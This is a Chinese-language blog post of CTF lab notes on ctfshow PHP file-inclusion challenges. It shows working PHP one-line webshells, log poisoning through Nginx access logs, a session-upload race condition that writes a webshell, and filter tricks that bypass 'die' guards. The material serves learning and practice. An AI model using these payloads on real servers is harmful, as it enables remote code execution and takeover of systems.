ctfshow_web入门 文件包含 学习
文件包含
额,这是一个做题带学习的一个笔记
算是半做题,半学习的笔记吧,所以能写的方法和注解都会写。难免先得啰嗦
由于截图都是白色背景,所以使用夜间模式(右上角哦~)观看比较易于区分图片与浏览器背景
web 78
观察一下,没有过滤,可以直接使用功能php://filter伪协议
也可以用data伪协议
也可以尝试php://input
web 79
普通data伪协议
骚姿势:传入shell(一句话木马)
虽然说,传入一个shell有点小题大做,不过姿势确实有点骚,而且如果遇到一些将flag放在其他位置的题,有个shell找起flag来,也是很舒服的
web 80
利用日志文件包含,emmm,
include加载的文件都会当做PHP进行解析。如果文件中有PHP代码,就会执行PHP代码。不是PHP代码的部分就会直接输出。
Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去,所以构造一个有马的请求(<?php eval($_POST[1]);?>
),再用file包含日志文件。所以就可以执行拿到shell了。
问题:url的请求也会被包含进去,为啥在url中的马没法执行
因为:在get请求的数据会被url编码(<?
),在进入PHP之前不解码,所以无法当做PHP代码执行
web 81
可以继续日志包含
嗷,也是刚刚才知道(试了一下),如果要用蚁剑连接的话,一句话木马得用POST传参。刚刚使用GET方式,虽然能够拿到shell,但是无法使用蚁剑连接
web 82
做一个简单记录
虽然没有开启session,但是如果上传一个带有名字的session的值(SESSID aaa),那么会在生成一个/tem/sess_aaa的文件
PHP_SESSION_UPLOAD_PRGRESS,获取实时文件上传进度,返回一个json
视频中的意思是,上传一个一句话木马,执行另外一个一句话木马。(额,大概就是:传木马A引木马B。有点久了,忘了)
由于是写的脚本,所以也比较方便。而且还能学到一招pyhton文件上传文件(找了很多地方都没找到过用python上传文件的方法),脚本可以导ctfshow的群里找。
提一下,可以在师傅写的py脚本的data中加上proxy={'http':'127.0.0.1:8080'}
设置代理
理解不了也没关系(因为我是废狗,理解不了),可以跟着下面走,下面不用脚本
burp实现条件竞争
首先写一个html脚本用来上传文件
好吧,我这个写的有点问题,不过不影响。上传脚本并且抓包,
将1.php修改为:<?php file_put_contents('/var/www/html/test2.php','<?php eval($_POST[test2]);?>');?>
注意,两边都不需要爆破,一直请求就行,所以在payloads中都做如下设置
然后开始请求,最后访问url/test2.php
接着tac fl0g.php
即可
由于按理来讲不应该知道flag在什么文件中,需要自己发现,所以这里上传木马,应该是一个比较好的选择
利用session.upload_progress进行文件包含和反序列化渗透请看一下这位师傅的文章,理解一下原理。为什么放到后面呢,因为不先体验一下,弟弟我实在看不懂。
web 83
代码中将session销毁了,叭过可以自己创建,换句话说就是可以白嫖上面的方法
可以直接把一句话给写到这里来,抓包的时候,一样的效果
web 84
也可以白嫖web 82的方法
代码中将session删除了,但是为什么能够执行呢?
嗷~原来是因为误打误撞的将爆破的线程开得比较多,在get的请求线程1刚刚删除/tem/*,在上传的线程1中又写了进去了。简单来说就是,刚刚删除完就写进去了。
web 85
继续白嫖(都还没看代码,就嫖了。。。,用的burp哈)
看了一下,200中长度不一样的结果,成功包含sess_test1的请求,返回是error,error也就是被die了。
有看一下干翻服务器的返回,不过,看不懂。。。。吐了,早知道看看以前的是个啥。
看了一下视频,说的还是是线程问题,线程开大点。利用条件竞争。不过还是没看懂。
补充
因为刚刚提到不知道成功请求到的/tem/test1,是什么样的,所以这里做一个补充。我这里一直使用的burp。
web 84的重开环境,看样子,请求是请求成功了,但是,唯一一个309的状态码是502...
web 83重开环境 ,也成功了,给人的感觉是,如果include了session文件,那么会有一个upload_progress
web 86
白嫖web82方法
web 87
由于之前有一次做题,不会死亡绕过,恰好这个题很想死亡绕过,所以,必用死亡绕过
先看一下代码
看了一下代码,发现,需要对$file进行两次url加密,所以,貌似过滤就全部绕过了
法1:利用 php://filter
所以对$file的构造就是:
接着说明一下,这里用的是php://filter/convert.base64-decode/resource=test2.php;
base64只对 a-z A-Z +] 进行加密解密,所以,<??>
等是直接就不管的,当做看不见了,于是<?php die('别修了');?>
就成了phpdie
。由于base解码的时候,是4个字符4个字符解码的。在构造好的base64编码的一句话木马前加上两个字符即可(AA)。
看来一句话木马中,不能有?>,去掉?>
成功。当然,这里最好是直接传入一句话木马,免得一直传来传去的。为了方便做笔记,所以就整好看点的。(其实差不多)
看到个一个神奇思路
由于base64将=作为结束的判断,那么在=后的就不会被解码
详细请看一下,里面确实有几个很巧妙的死亡绕过方式,file_put_content和死亡·杂糅代码之缘
法2:利用php://filter/write=string.rot13/resource=test10.php
说明一下:php://filter/write=string.rot13/resource=test10.php
通过13位平移,原来的<?php die('别秀了');?>
也会移动13位,变成<?cuc qvr('别秀了');?>
,这样就算是绕过die。在线rot转化工具
看得见之前上传的文件
web 88
利用data伪协议,同时进行base64加密,由于过滤了=,所以可以在构造的 命令中添加上空格
web 116
不会,后来再补
web 117
看样子,应该是一死亡绕过,在web87说了一点死亡绕过的方式和原因,这里就不再说了。多看看其它师傅博客,然后实操一下就明白了。
这里看到了,没有过滤php://filter
所以这里还是打算用这个绕过,emmm但是过滤了base64,多以就没法绕过了。
看了看一个新的死亡绕过方式,利用convert.iconv.UCS-2LE.UCS-2BE
过滤器,这个是将前后两个字符进行交替(abcd==>badc),所以写入文件的<?php die();?>
就会被扰乱,从而绕过。
访问test5.php
传入的contents需要我们先自己手动替换,这里给一个弟弟写的脚本进行前后替换(只是针对两个字符替换,PHP脚本对;有点)
伪协议使用
file_put_content和死亡·杂糅代码之缘骚姿势也多
日志包含
- 在user-agent中写入马,执行一次;引入日志文件,getshell
session
利用session.upload_progress进行文件包含和反序列化渗透
文章中的链接全是参考,就没有再列出了
因为是学习,难免会留下问题,如果师傅们认为有什么不正确的地方,请斧正斧正,谢谢~
__EOF__

本文链接:https://www.cnblogs.com/upstream-yu/p/15071973.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix